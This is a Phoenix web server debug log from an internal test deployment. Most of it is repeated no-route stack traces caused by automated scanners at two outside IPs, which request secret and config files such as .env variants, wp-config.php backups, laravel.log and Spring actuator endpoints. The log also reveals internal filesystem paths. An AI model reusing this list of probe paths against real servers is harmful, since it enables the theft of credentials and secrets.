    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.719000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55514] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php.swp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.719000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55530] ** (Phoenix.Router.NoRouteError) no route found for GET /storage/logs/laravel.log (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.721000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55426] GET /.env.example
[Sat Sep  5 07:11:59.722000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55412] GET /.env.save
[Sat Sep  5 07:11:59.750000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55412] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.save (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.752000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55426] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.example (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.271000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43184] GET /.env.local
[Sat Sep  5 07:13:42.313000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43184] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.local (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.369000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43180] GET /.env
[Sat Sep  5 07:13:42.417000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43220] GET /.env.bak
[Sat Sep  5 07:13:42.448000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43180] ** (Phoenix.Router.NoRouteError) no route found for GET /.env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.459000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43196] GET /.env.production
[Sat Sep  5 07:13:42.461000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43296] GET /_ignition/health-check
[Sat Sep  5 07:13:42.462000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43218] GET /.env.backup
[Sat Sep  5 07:13:42.524000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43294] GET /env
[Sat Sep  5 07:13:42.526000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43220] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.bak (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.554000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43196] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.production (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.561000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43218] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.backup (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.563000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43296] ** (Phoenix.Router.NoRouteError) no route found for GET /_ignition/health-check (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.563000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43316] GET /wp-config.php.bak
[Sat Sep  5 07:13:42.567000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43254] GET /.env.dev
[Sat Sep  5 07:13:42.567000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43224] GET /.env.old
[Sat Sep  5 07:13:42.569000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43310] GET /crusader-404-probe
[Sat Sep  5 07:13:42.613000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43294] ** (Phoenix.Router.NoRouteError) no route found for GET /env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.631000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43316] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php.bak (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.632000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43224] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.old (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.634000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43254] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.dev (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.635000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43310] ** (Phoenix.Router.NoRouteError) no route found for GET /crusader-404-probe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.676000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43258] GET /.env.example
[Sat Sep  5 07:13:42.700000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43258] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.example (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.718000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43284] GET /actuator/configprops
[Sat Sep  5 07:13:42.721000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43238] GET /.env.save
[Sat Sep  5 07:13:42.725000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43272] GET /actuator/env
[Sat Sep  5 07:13:42.764000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43336] GET /storage/logs/laravel.log
